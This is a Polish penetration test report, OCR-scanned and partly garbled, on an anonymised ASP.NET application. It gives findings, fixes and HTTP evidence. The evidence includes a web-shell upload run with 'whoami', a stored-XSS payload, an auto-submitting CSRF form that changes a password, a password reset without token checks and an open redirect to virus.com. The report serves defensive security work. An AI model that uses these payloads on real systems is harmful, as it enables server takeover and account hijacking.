Raport z Testow Penetracyjnych

XXXXX




Testowana aplikacja

XXXXXX
http://XXXXX

Testowane role

administrator, uzytkownik

Data wykonania testow

30.10.2017 — 13.12.2017

Miejsce wykonania testow

Wroclaw (zdalnie)

Zleceniodawca XXXX
XXX X@XXXXX.com
Tester i autor raportu Michal Kedzior
michal.kedzior1478@gmail.com
Wersja dokumentu 1.0 (15.12.2017)

Niniejszy dokument jest podsumowaniem testu penetracyjnego wykonanego na aplikacji
XXXXX na zlecenie XXXXX. W aplikacji wykryto podatnoéci pozwalajgce miedzy innymi na:

Przejecie kontroli nad serwerem,;

Przejecie kontroli nad dowolnym kontem uzytkownika;

Odczyt wrazliwych danych uzytkownikéw;

Wykorzystanie aplikacji do przeprowadzania atakow phishingowych;

Wymagane jest dokonanie odpowiednich poprawek bezpieczenstwa, ktére powinny zostaé
zaimplementowane przez programistéw. Szczegotowe zalecenia wraz z opisem wykrytych podatnosci
znajdujg sie w dalszej czesci dokumentu.
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Ponizej przedstawiona zostata tabela z wykrytymi podatnosciami

Zagrozenie | Podatnost | Ops

- Przesytanie dowolnego pliku na | Aplikacja pozwala na przesytanie dowolnego pliku na serwer.

serwer
Stored Cross-Site Scripting

Niezabezpieczony mechanizm

WYSOKIE
resetu hasta

Brak ochrony przed CSRF
WYSOKIE
. Niewalidowane przekierowania
SREDNIE
SREDNIE . Przesytanie danych

nieszyfrowanym protokotem
. Szczegotowe informacje o
SREDNIE btedzie
SREDNIE Ujawnienie poufnych informaciji

Brak ochrony przed Cross-
. Frame Scripting
SREDNIE

Brak nagtéwka “X-Content-
Type-Options=nosniff’

Brak nagtéwka “X-XSS-
Protection: 1; mode=block”

Problemy z certyfikatem SSL
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Atak pozwalajgcy na wstrzyknieciu i wykonaniu wrogiego kodu HTML,
JavaScript w kontekscie podatnej aplikacji. Kod zostaje na state
umieszczony w aplikacji.

Aplikacja umozliwia zmiane hasta dowolnego uzytkownika bez
uwierzytelnienia.

Aplikacja jest podatna na ataki polegajgce na nieswiadomym
przestaniu przez zalogowanego uzytkownika prawidtowego zapytania
do aplikacji za posrednictwem spreparowanej do tego celu strony lub
adresu URL.

Niewalidowane przekierowania wystepujg gdy dane wprowadzone
przez uzytkownika majg wptyw na to na jakg domene zostanie
przekierowany uzytkownik przez podatng aplikacje.

Dane aplikacji przesytane sg nieszyfrowanym protokotem HTTP.

Aplikacja/serwer wyswietla szczegétowe informacje o btedzie
uzytkownikom aplikacji. Mogg one zawiera¢ wrazliwe dane jak Sciezki
systemowe czy informacje o konfiguracji sSrodowiska i aplikaciji.

Aplikacja ujawnia dane, ktére nie powinny by¢ widoczne dla
normalnego uzytkownika aplikaciji.

Aplikacja zawiera podatnos¢ ktdra pozwala atakujgcemu na
zatadowanie jej wewnagtrz znacznika <iframe> (ramki). Atakujgcy moze
wykorzystac tg luke do przeprowadzania szeregu réznych atakow typu:
Clickjacking, Reverse Clickjacking, CSRF oraz XSS (ukrywanie ataku
przed ofiarg).

W odpowiedzi serwera nie ma nagtéwka HTTP "X-Content-Type-
Options" z ustawiong wartoscig nosniff.

W odpowiedzi serwera nie ustawiono nagtéwka X-XSS-Protection.

Uzycie protokotdéw szyfrowania ze znanymi podatno$ciami umozliwia
atakujgcemu na odszyfrowanie komunikacji pomigedzy serwerem a
uzytkownikiem.



Statystyki wykrytych podatnosci prezentujg sie nastepujgco

Podatnosci
5
5
4 3
3 2 2
2
1
0 .
Krytyczne Wysokie Srednie Niskie
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Ponizej znajduje sie szczegotowy opis znalezionych podatnosci

ZAGROZENIA KRYTYCZNE

1.1 Przesylanie dowolnego pliku na serwer

111

1.1.2

114

7 Uterorz
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Opis

Przesytanie dowolnego pliku na serwer wystepuije, gdy aplikacja nie weryfikuje
jaki plik zostaje przesytany lub aplikacja robi to w niewtasciwy sposob. Uzywajgc
tej podatnosci osoba atakujgca moze przesta¢ plik skryptowy, dzieki ktéremu
bedzie mogta wykonywaé polecenia systemowe na serwerze aplikacji.

Rekomendacje naprawy

Aplikacja musi weryfikowaé sygnatury i rozszerzenia przesytanych plikow.
Dodatkowe informacje

CWE-434

http://cwe.mitre.org/data/definitions/434.html

OWASP

https://www.owasp.org/index.php/Unrestricted_File_Upload

Dowody

Na serwerze pod adresem serwer/Content/Roxy Fileman/ znajduje
przeglgdarka plikbw umozliwiajgca zalogowanym uzytkownikom z odpowiednimi
uprawnieniami (przetestowane konto administratora) takze ich upload (w tym
skryptow wykonujgcych komendy na systemie):

#F Zmien nazwe & Usun #Dodaj plik |* Podglad | & Zmien nazwe |3 Pobierz | Usun " Wybierz

Order by: © Nazwarosnaca ¥ @)



Zadanie:

POST /Admin/RoxyFileman/ProcessRequest?a=UPLOAD HTTP/1.1
Host: XXXXX

User-Agent: Mozilla/5.0 (X11; Linux x86_ 64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept:

text/html, application/xhtml+xml, application/xml;g=0.9,*/*;qg=
0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://XXXXX/Content/Roxy Fileman/

Cookie: XXXXX=32b8adde-a83d-45c8-8471-927e301a9b69;
XXXXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2D6891181A06AC
291705096557B8B9BA31C4D1CC499E8CDBC37ABF8359B4CFOFEE4BA2CD30
36C889DF12505AC4E9EAE882307E604ED73E919F5FD6927FDAS372EA98F8
D6C17A6C792D4474D67604EEE93935BR7F0D4144D47AA08F325E7C78CB45D
03B8FEAB0E1B272D0COE8E85DBF8AFS5BBRREOCO032391B4E543E8D20CA2550
E7B1D995421BB8118R0O5B9B7A31413F77CE18EB5F82494B50E8C4CB0O71EQ
5BC3DOBC272BFB726311538A9FA75ED4D9529A500AA4588807DF252820CA
3B8579A8EB8FDCO0752A1C9D61D84E095B93064B69881430921C0OFD39C060
FD1691

Connection: close

Cache-Control: max-age=0

Content-Type: multipart/form-data; boundary=---------——--———-
——————————— 13949612691104534433104770617

Content-Length: 1861

————————————————————————————— 13949612691104534433104770617

Content-Disposition: form-data; name="action"

upload

————————————————————————————— 13949612691104534433104770617
Content-Disposition: form-data; name="d"
————————————————————————————— 13949612691104534433104770617
Content-Disposition: form-data; name="files[]";
filename="cmdasp.aspx"

Content-Type: application/octet-stream

<%@ Page Language="C#" Debug="true" Trace="false" %>

<%@ Import Namespace="System.Diagnostics" %>

<%@ Import Namespace="System.IO" %>

<script Language="c#" runat="server">

void Page Load (object sender, EventArgs e)

[...]

Odpowiedz:

POST /Admin/RoxyFileman/ProcessRequest?a=UPLOAD HTTP/1.1
Host: XXXXX

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:45.0)
Gecko/20100101 Firefox/45.0

HTTP/1.1 200 OK

Cache-Control: private
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Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/10.0

X-AspNetMvc-Version: 5.1

X-AspNet-Version: 4.0.30319

Set-Cookie: XXXXX=32b8adde-a83d-45c8-8471-927e301a9b69;
expires=Fri, 09-Nov-2018 16:53:07 GMT; path=/; HttpOnly
X-Powered-By: ASP.NET

Date: Thu, 09 Nov 2017 16:53:07 GMT

Connection: close

Content-Length: 60

<script>parent.fileUploaded ({"res":"ok","msg":""});</script>

Do wgranego zasobu mozna odwotaé sie bez autoryzacji pod adresem
serwer/media/uploaded/nazwapliku:

Zadanie:

POST /media/uploaded/cmdasp.aspx HTTP/1.1

Host: XXXXX

User—-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept:

text/html, application/xhtml+xml,application/xml;g=0.9,*/*;g=
0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://XXXXX/media/uploaded/cmdasp.aspx

Cookie: XXXXX=32b8adde-a83d-45c8-8471-927e301a9b069;
XXXXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2D6891181A06AC
291705096557B8B9BA31C4D1CC499E8CDBC37ABF8359B4ACFOFEE4BA2CD30
36C889DF12505AC4AE9EAE882307E604ED73E919F5FD6927FDAS372EAS8F8
D6C17A6C792D4474D67604EEE93935B7F0D4144D47AA08F325E7C78CB45D
03B8FEA80E1B272D0COE8E85DBF8AFS5BBBREOCO032391B4E543E8D20CA2550
E7B1D995421BB8118B05BO9B7A31413F77CE18EBS5F82494B50E8C4CB071E0
5BC3DOBC272BFB726311538A9FA75ED4D9529A500AA4588807DF252820CA
3B8579A8EBSFDCO0752A1C9D61D84E095B93064B69881430921C0OFD39C060
FD1691

Connection: close

Content-Type: application/x-www-form-urlencoded
Content-Length: 290

__ VIEWSTATE=%2FwEPDwWULLTE2MJjAOMDg40DhkZIRU31C9Xa6Ts04RuNRS73
485a0DH]j £zJTrq0%2BzMDUJk& VIEWSTATEGENERATOR=FACD72F6& EVE
NTVALIDATION=%2FwEdAANRWImrTmf23Q0BZNDbQYsx5itssAmaVIY7AayhB9
duwcnk2JDuMxrvKtMBUSvskgfELWWmgNGW8Lr4a8NezI$2FkHrIsBS2FLodY
xPpo9ud%2FbHudw%3D%$3D&txtArg=whoami&testing=excute
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Odpowiedz:
T - i
<) o I . 8 $ # w3
Fﬂfmm;j_ﬁalzl nux o Kali Docs o Kali Tools KExploit-DE WA rcrack-ng & Kali Forums o NetHunter [55 Most Visited v

Command: \whoam excute

Mechanizm umozliwiajacy upload plikow zidentyfikowano pod ponizszymi
adresami:

e /Admin/Invoice/InvoiceEdit

e /Admin/Invoice/InvoiceItemList

e /Admin/Newsletter/GroupSubscriptionsList
e /Admin/Newsletter/SubscriptionList

e /Content/Roxy Fileman/index.html

1.2 Stored Cross-Site Scripting

1.2.1 Opis

Atak pozwalajgcy na wstrzykniecie i wykonanie wrogiego kodu HTML,
JavaScript. Moze zostaC¢ wykorzystane to do kradziezy krytycznych danych
(sesji) z plikéw cookie, jako ze kod zostaje wykonany w kontekscie podatnej
aplikacji lub umozliwi¢ wykonanie innych atakéw jak phishing, logowanie
klawiatury czy przekierowanie uzytkownika na ztosliwg strone. Wstrzykniety kod
zostaje na state umieszczony w aplikacji przez co jest bardziej niebezpieczny od
Reflected Cross-Site Scripting.

1.2.2 Rekomendacje naprawy

Nalezy sprawdzaC dane wejsciowe oraz wyjsciowe za niepoprawnymi
znakami. Znaki te powinny zostaC usuniete lub poprawnie zamienione na
zakodowane odpowiedniki.
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1.2.3 Dodatkowe informacje
CWE-79
http://cwe.mitre.org/data/definitions/79.html
OWASP
http://www.owasp.org/index.php/Cross_Site_Scripting

1.2.4 Dowody

Zadanie:

POST
/Admin/Reservation/AdditionalOptionEdit?AdditionalOptionId=1
lsadditionalOptions—-grid-size=50 HTTP/1.1

Host: XXXXX

User—-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept:

text/html, application/xhtml+xml, application/xml;g=0.9,*/*;qg=
0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer:
http://XXXXX/Admin/Reservation/AdditionalOptionEdit?Addition
alOptionId=1l1l&additionalOptions-grid-size=50

Cookie: XXXXX=32b8adde-a83d-45c8-8471-927e301a9b069;
selectedTabIndex=%7B%22tabStripName%22%3A%22floor-edit-
tabstrip%$22%2C%22tabIndex$%$22%3A1%7D;

ASP.NET SessionId=jb4ivjlf5sjkdy3x0Oxaab3wi;
XXXXX=3F0D289C1C17BFD415F206F7BF354B072DA7159EC7FD809F12E5C9
AC84657D514AD89881ECDAE9242D673FC42ACAFF2FEC53DCOA9F99E7FFEA
8DD8AB44A97F13DFBODDO764A08F65E3E022DDC3119AFCBCOATDE93AOS5AF
BFBA29A0E75AB4116ED9CADO5C04038B4D3E9CT731B6BOA92FE4F85D4E7A0
E330CC030041ED7F45D5128E8F29E1EDEFS80D63BEB946FB67ACT73F255D6D
S5CDAEFB64B8371A6F3E6D471ADB23B0D9271EA28240D704B33771B0OF2570
BDO1FE4BBAOOB39EE3391B7F5E4D6D8599CDF299BB03A21397FFC92A6485
670AB0290011EA9886CEBBFC3AARA4EB220F2279E22F0B994037734C0E77D
B9C21B

Connection: close

Content-Type: application/x-www-form-urlencoded
Content-Length: 1000

[...]
koszt+us%$C5%82ugi.%3CS$2Fp$3E30DS0AS3Cscripts3ES2FS$2F+%$3C%21%
S5BCDATAS$5B%0DS0Aalert$28document .domain$29%0DS0AS2FS2F+%$5D%5
D%3E%3C%2Fscript$3E&Price=200%2C00000

[...]
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Wykonanie ztosliwego kodu po stronie klienta:

¢ I - x )[4 se SRR

Il Offensive Security \ Kall Linux @ Kali Docs @ Kali Tools e Explot-DB WAlrcrack-ng @ Kall Forums '\ NetHunter 12 Most Visited v
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Ztosliwy kod wykonuje sie takze po wejsciu w podglad edytora:

Tresc

Plik « Edycja +  Wstaw v  Widok ~ Format »  Tabela = MNarzedzia «

N | Formaty = | Kidjcz  + Pokaz bloki A~ B~ B 7 U

— 1 —
s— > E— -
| o= E |

A
lidl
il

go + Pomoce wizualne

e —

Peiny ekran

¢ # |Q Search T B 9 3 A v

l Offensive Security “\ Kall Linux @ Kali Docs @ Kali Tools KRExploit-DB Wy Alrcrack-ng @ Kali Forums \ NetHunter [ Most Visited v
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Pod nastepujacymi adresami zidentyfikowano ten sam blad:

e POST /Admin/MessageTemplate/Edit/44

e POST
/Admin/MarketingChannel/MarketingChannelEdit?MarketingChannellId
=26&universities-grid-size=50

e POST /Admin/Campaign/Create

e POST /Admin/DocumentTemplate/DocumentTemplateCreate

e POST

/Admin/Reservation/AdditionalOptionEdit?AdditionalOptionId=11&a
dditionalOptions—-grid-size=50
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ZAGROZENIA WYSOKIE

2.1 Niezabezpieczony mechanizm resetu hasta

2.1.1 Opis
Funkcja zmiany i resetowania hasta aplikacji to samoobstugowy mechanizm
zmiany lub resetowania hasta dla uzytkownikdéw bez interwencji administratora.
W przypadku jego stabego zabezpieczenia pozwala atakujgcemu na zmiane
hasta dowolnego uzytkownika a tym samym przejecie jego konta.
2.1.2 Rekomendacje naprawy
Nalezy zabezpieczy¢é mechanizm resetowania hasta przed nieuprawniong
jego zmiang np. poprzez wykorzystanie jednorazowych tokendw autoryzujgcych
wysytanych na maila.
2.1.3 Dodatkowe informacje
OWASP
https://www.owasp.org/index.php/Testing_for_weak password_change_or_re
set_functionalities_ (OTG-AUTHN-009)
2.1.4 Dowody

Serwer nie wyryfikuje tokenu autoryzujgcego zmiane hasta. Znajgc e-mail uzytkownika
mozna zmienic jego hasto:

Zadanie:

POST
/pl/passwordrecovery/confirm?token=aaa&email=michkel478%40gm
ail.com HTTP/1.1

Host: XXXXX

User—-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept:

text/html, application/xhtml+xml,application/xml;g=0.9,*/*;g=
0.8

Accept-Language: en-US,en;g=0.

Accept-Encoding: gzip, deflate

Referer:
http://XXXXX/pl/passwordrecovery/confirm?token=0adccbf0-
8e43-4832-84be-al2c7bl162630&email=michkel478%40gmail.com
Cookie: XXXXX=083e8ddf-7bc0-4£34-a0e7-622707810064;
selectedTabIndex=%7B%22tabStripName$22%3A%22customer-edit-
tabstrip%22%2C%22tabIndex%$22%3A0%7D;

ASP.NET SessionId=m4fvihthlo5laggbvj2c52£fd;
XXXXX=T09B6A26C22F1D766DA276F57DF7057C7BF67948D2A0F8091B9CDE
50D5692C7A95B112E11CCED1A3659544BDAF2A69D075E00D6CAD73A1678A
D72528D164F1A22E3BDE345691323E02CA36E92169FF88A65AEFDCAALASG
C8074D07BE98E0758D9A023EEFODC13119F38F80B829FC30EESFEDI9C5A3A
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C86F003C6CFDA422E6DF92700D776EB6668F14ACI9EE371BFD81C4C8891DF
26B1D89F13228CBEFBFOD51CF654FBRD30B79E35074894FD9995D13B11282
4E363BA9A306B21F89E2B8B3D591ECEF68914619C35A3074D275509F1FF25
04

Connection: close

Content-Type: application/x-www-form-urlencoded
Content-Length: 72

NewPassword=qwertyl234&ConfirmNewPassword=qwertyl234&set—
password=Zapisz

Odpowiedz:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
Set-Cookie: XXXXX=083e8ddf-7bc0-4f34-a0e7-622707810064;
expires=Mon, 10-Dec-2018 13:51:52 GMT; path=/; HttpOnly
X-AspNetMvc-Version: 5.1
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 10 Dec 2017 13:51:52 GMT
Connection: close
Content-Length: 490
<div class="signin-signup-container container">
<div class="row">
<div class="col-1g-6 col-sm-6 col-xs-12 col-sm-
offset-3 col-lg-offset-3">
<h2 class="col-title">
Odzyskiwanie hash,a
</h2>

<div class="signin-container">
<div class="result">
HasA,o zostald,o zmienione
</div>
</div>
</div>
</div>
</div>

Préba logowania potwierdzita zmiane hasta:

POST /pl/login HTTP/1.1

Host: XXXXX

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:45.0)
Gecko/20100101 Firefox/45.0
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Accept:

text/html, application/xhtml+xml,application/xml;g=0.9,*/*;g=
0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://XXXXX/pl/login

Cookie: XXXXX=b3f631le2-6c0c-413b-8560-d65eedaccic’;
selectedTabIndex=%7B%22tabStripName%22%3A%22customer-edit-
tabstrip%$22%2C%22tabIndex%$22%3A0%7D;

ASP.NET SessionId=m4fvihthlo5laggb5vj2c52£fd

Connection: close

Content-Type: application/x-www-form-urlencoded
Content-Length: 48

Email=michkel478%40gmail.com&Password=qwertyl234

Odpowiedz:

HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=utf-8

Location: /pl/account

Server: Microsoft-IIS/10.0

Set-Cookie: XXXXX=b3f631e2-6c0c-413b-8560-d65eedacci4c’;
expires=Mon, 10-Dec-2018 13:54:09 GMT; path=/; HttpOnly
X-AspNetMvc-Version: 5.1

X-AspNet-Version: 4.0.30319

Set-Cookie:
XXXXX=FAD46E9673A6C28967C6BBF23BD78374EE1FAS51CCT712F612E7EOB
E2FC1D2A6C83F8DDAC3AD243FA471BAS16FEA24E6B324B1B2411D898F546
62CDE1B79FBB6BA4F8AT4AACC3F495D6FCD61D6AA8561D107FA194CE46E2
2B3AAB349375CA67F7BI9FFC67FEBB7D07101159DBE98D44FEF08248288E9
EC61F86548EB3DF33C90B72312A3E469CC81D71E1IF91F4EE84A0851EC8CC
E5A1CBO7FB78963B228129F78A82750C16BD074536C5E0E2ACT745AA6F335
51856C79A8723B1F5D50AE3E892B041EC93C3E8C75575632FF0B2437EDSF
OF; path=/; HttpOnly

X-Powered-By: ASP.NET

Date: Sun, 10 Dec 2017 13:54:09 GMT

Connection: close

Content-Length: 128

<html><head><title>Object moved</title></head><body>
<h2>0Object moved to <a href="/pl/account">here</a>.</h2>
</body></html>
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Moje dane

I e

Marwisko

I Email: michke 1478gngmail.com |

Data urodzenia:
Telefon komdrkowy:
Kraj:

Migjscowadi:

Kod pocztowy:

LMica b nimer;

2.2 Brak ochrony przed CSRF

2.2.1 Opis

CSRF jest skrotem od ataku zwanego Cross-Site Request Forgery (nazywany
rowniez Session Riding).

Aplikacja jest podatna na ataki polegajgce na nieswiadomym przestaniu przez
zalogowanego uzytkownika prawidtowego zapytania do aplikacji za posrednictwem
spreparowanej do tego celu strony lub adresu URL.

2.2.2 Rekomendacje naprawy
Wszystkie zapytania do formularza w aplikacji powinny zosta¢ weryfikowane
poprzez dodatkowy unikalny parametr. Pozwoli to na zabezpieczenie aplikacji
przed wprowadzeniem do aplikacji danych z niezaufanego zrédta.

2.2.3 Dodatkowe informacje

CWE-352
http://cwe.mitre.org/data/definitions/352.html
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OWASP
https://www.owasp.org/index.php/Cross-Site_ Request_Forgery (CSRF)

2.2.4 Dowodd

Przyktadowe uzycie podatnosci - po wejsciu przez zalogowanego
uzytkownika na ponizsza podstawiong strone, zostanie w jego imieniu
wykonany Zadanie zmieniajacy hasto:

<html>
<!-- CSRF PoC -->
<body>
<script>history.pushState('', '', '/')</script>
<form

action="http://XXXXX/Admin/Customer/Edit/22"
method="POST" enctype="multipart/form-data">
<input type="hidden" name="Id" value="22" />
[...]
<input type="hidden" name="Password"
value="csrf;" />
<input type="hidden" name="newpassword"
value="csrf" />

[...]

<input type="submit" value="Submit Request" />
</form>
<script>

document.forms[0] .submit () ;
</script>
</body>
</html>

Wywotane zadanie:

Host: XXXXX

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept:

text/html, application/xhtml+xml, application/xml;g=0.9,*/*;qg=
0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://burp/

Cookie: XXXXX=32b8adde-a83d-45c8-8471-927e301a9%b69;
selectedTabIndex=%7B%22tabStripName%22%3A%22customer-edit-
tabstrip%22%2C%22tabIndex%22%3A0%7D;

ASP.NET SessionId=m4fvihthlo5laggbvj2c52£fd;
XXXXX=3C4F9413A31F4E71F8E2123D1B19AE8F6FB52DA8DE1IFS8DADIF08B1
935A085630DACB065B3541F48ED4F47E48EFB2BOA7TFS5F74E43F25C5BF110
D6486D6AB12D60316D08CDB983ACAA3A171366592CB7A8062F20E62D457E
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79C8AAFE8EC4381161A532ABC70E6O0E4C0935DB4D0B24C7C9BASEC862D35
4ED7DA12284F16BA622512FB6E03327B4F6536E756085BB15B9C42E6AT71A
13CCA3E7CF792DEOODD3E2187F272A9BF1DCC317AC0C01A406135C730BFF
95B54C2BE2B1A9C6AADS5271D6EFD8C77D85E596CD2D3886ADE9A71583DE9
FC8DBROAE731E65477E6ACE47C17F15B2B131F049466F6FBA192995C92B56
4138CE;
__ZadanieVerificationToken=yBZLfS03pb5EQkgDDYONon2illZzBmPuww
OyuWP3N97IKz8YAu5e238zWL1604CRyqRQgbnBOxZuM8c/7kaxPzccoKgwCDI
BOnW68TfGOYRTU1L

Connection: close

Content-Type: multipart/form-data; boundary=————-——---—--————-
——————————— 70124987214088125821572825923

Content-Length: 5454
————————————————————————————— 70124987214088125821572825923

Content-Disposition: form-data; name="Id"

————————————————————————————— 70124987214088125821572825923
Content-Disposition: form-data; name="Password"

csrf

————————————————————————————— 70124987214088125821572825923
Content-Disposition: form-data; name="newpassword"

csrf
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Odpowiedz

I 6o v 8 3

fl Offensive Security % Kali Linux @ Kali Docs @ Kali Tools . Exploit-DB Wy Aircrack-ng & Kali Forums ", NetHunter [ Most Visited v

*

S0 0000 0000

Jest to jedynie przykiadowe uzycie CSRF. Kazdy formularz zmieniajacy
wrazliwe dane powinien zosta¢ zabezpieczony poprzez unikalny token autoryzujacy
akcje — conajmniej per sesja.
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ZAGROZENIA SREDNIE

3.1 Niewalidowane przekierowania

3.1.1 Opis

Niewalidowane przekierowania wystepujg gdy dane wprowadzone przez
uzytkownika majg wplyw na to na jakg domene zostanie przekierowany
uzytkownik przez podatng aplikacje. Podatnos¢ ta moze zosta¢ wykorzystana do
przekierowania uzytkownikow na ziosSliwe strone kradngce informacje Ilub
wykorzystujgce podatnosci w przegladarkach.

3.1.2 Rekomendacje naprawy
Aplikacja nie powinna pozwala¢ na przekierowania do innej domeny. Jezeli
jest to wymagane, nalezy uzy¢ metody white-listingu aby sprecyzowaé
dozwolone wartosci.
3.1.3 Dodatkowe informacje
CWE-601
http://cwe.mitre.org/data/definitions/601.html
OWASP
https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Che
at_Sheet

3.1.4 Dowody

Po wejsciu przez uzytkownika na link o adresie:

serwer/Admin/Building/RoomEdit?roomId=11&returnUrl=http://virus.com

Pod przycisk return zostanie podstawiona ztosliwa strona:

HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/10.0

Set-Cookie: XXXXX=32b8adde-a83d-45c8-8471-927e301a9b69;
expires=Mon, 10-Dec-2018 12:52:31 GMT; path=/; HttpOnly
X-AspNetMvc-Version: 5.1

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sun, 10 Dec 2017 12:52:31 GMT

Connection: close

Content-Length: 51988
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<!DOCTYPE html>
<html>
<head>

<div class="title">
Edycja Pokoju: Al01
</div>
<div class="actions">
<a id="back-btn" href="http://virus.com"
class="g-button"><span class="g-button-

content">PowrA3t</span></a>

<input type="submit" name="save-continue"
class="g-button" value="Zapisz" />

[...]
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Po kliknieciu w niego uzytkownik zostanie przekierowany na ztosliwa strone:

Zapisz Zaplsz | Wyl

WINUS. COm

3.2 Przesylanie danych nieszyfrowanym protokotem

3.2.1 Opis
Komunikacja z serwerem odbywa sie z uzyciem protokotu HTTP, ktéry nie jest
szyfrowany. Wszystkie dane przesylane takim kanatem mogg zostaé
przechwycone i zmodyfikowane podczas transmisiji.
3.2.2 Rekomendacje naprawy
Dane aplikacji powinny by¢ przesytane protokotem szyfrowanym HTTPS.
3.2.3 Dodatkowe informacje
CWE-319

http://cwe.mitre.org/data/definitions/319.html
OWASP
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https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_
an_Encrypted_Channel_(OWASP-AT-001)

3.2.4 Dowody

rack-ng
Website Identi
Website p-pt
Owner This website does not supply ownership information
Vertfied by:  Not specified
Privacy & History
Have | visited this website prior to today? Yes, 2,390 times
Is this ite storing iInformation (cookies) .
0 Yes View Coolges
on my computer/
Have | saved any passwords for this
l L g Y¢$ Viey Saved FJ'.'..‘.‘ rds

peleta?
websae !/

Technical Details
Connection Not Encrypted

The website www — does not support encryption for the page you

are vewing

Information sent over the Intemet without encryption can be seen by other people

while It is In transit

Helr

3.3 Szczegotowe informacje o btedzie

3.3.1 Opis

Podczas testéw zauwazono, ze wykonanie niestandardowych zapytan do
serwera zwraca szczegotowe informacje o btedzie. Takie btedy zawierajg dane
techniczne, klasy, metody, ktére wywotaty btgd, doktadng wersje serwera czy
Sciezki systemowe aplikaciji i plikow konfiguracyjnych. Takie informacje mogg by¢
pomocne przy wykonywaniu innych atakéw na serwer/aplikacje. Szczegdtowe
dane o btedzie powinny byé widoczne jedynie dla deweloperéw oraz
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administratorow systemu i nie powinny by¢ nigdy widoczne dla zwyktych
uzytkownikéw aplikacji.

3.3.2 Rekomendacje naprawy

Szczegotowe informacje o btedzie nie powinny by¢ wysSwietlane zwykiym
uzytkownikom strony. Nalezy stworzy¢ wiasng strone biedu, ktora jedynie
informuje o wystgpieniu btedu i nie ujawnia wrazliwych danych. Taka strona
powinna by¢ wyswietlana za kazdym razem gdy wystgpi btgd niezaleznie od tego
jaka akcja go wywoftata.

3.3.3 Dodatkowe informacje

OWASP
https://www.owasp.org/index.php/Information_Leakage
CWE-209

http://cwe.mitre.org/data/definitions/209.html
CWE-200: Information Exposure
http://cwe.mitre.org/data/definitions/200.html

3.3.4 Dowody

Zadanie:

GET
/Admin/RoxyFileman/ProcessRequest?a=FILESLIST&d=/media/uploa
ded&type= HTTP/1.1

Host: XXXXX

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept: application/json, text/javascript, */*; g=0.01
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Referer: http://XXXXX/Content/Roxy Fileman/

Cookie: XXXXX=32b8ad4de-a83d-45c8-8471-927e301a9b69;
XXXXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2D6891181A06AC
291705096557B8RO9BA31C4D1CC499E8CDBC37ARF8359BACFOFEE4BA2CD30
36C889DF12505AC4E9EAE882307E604ED73E919F5FD6927FDAS372EA98F 8
D6C17A6C792D4474D67604EEE93935BR7F0D4144D47AA08F325E7C78CB45D
O3B8FEA80E1B272D0CI9E8E85DBF8AF5BBBEOC032391B4E543E8D20CA2550
E7B1D995421BB8118B05B9B7A31413F77CE18EBS5F82494B50E8C4CB071EQ
5BC3DOBC272BFB726311538A9FA75ED4D9529A500AA4588807DF252820CA
3B8579A8EBSFDCO0752A1C9D61D84E095B93064B69881430921COFD39C060
FD1691

Connection: close
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Odpowiedz:
http:fherenes. _aded&types = | &
“ I . 4B O 3 A ey =
Bl Cffensive Security s Kall Linux & Kall Docs & Kali Tools ™ Exploit-DB Wy Alrcrack-ng & Kall Forums % MetHunter B3 Most Visitedy =

[{"res":"error™,"msg”:"The process cannot access the file "‘D\Hosting wwwrootimedia

wploadeditest jpg’ because it is being used by another process.”}

Zadanie:

GET /Admin/Building/FloorSelectList? =1510594053462 HTTP/1.1
Host: XXXXX

User—-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept: application/json, text/javascript, */*; g=0.01
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/json;charset=utf-8
X-Requested-With: XMLHttpRequest

Referer:
http://XXXXX/admin?roomTypeId=null&floorId=0&reservationFrom
=&reservationTo=

Cookie: XXXXX=32b8ad4de-a83d-45c8-8471-927e301a9b69;
XXXXX=91B1719181B57EAA267360A7DD813F07BBC8BC4A7583F9D2748609
4450392BE844E4EE82698541C43596ACABE77AD5611B13D4408A1A5D86E7
A67D6A4D0835A4F263CF2B8FD6721AEB6A867D2A62CT7T1F3A2E85239757A5
9F56305E973F5B1223989F6FD296913FB5994501538319F29BE9347BAGSE
CDF674D00D97AB605BAAF6C8EF246B9378A4CFOASFE1IQ075EC91358D95A58B
05B6EBB17463413F935C095681A33BF250DC637082E555BA506A166F1CDF
AOCOF58EDC7928D2B4AD64A86447B2DC6695FB76E9E94BA398CATAB3448F
FAO276FEAA2CAFOBR78068BEEECOB84D5C02040AF6187CO9DEE3EF2FD5B096
LY9EIECHE
selectedTabIndex=%7B%$22tabStripName%22%3A%22customer-edit—
tabstrip%22%2C%22tabIndex%22%3A0%7D;

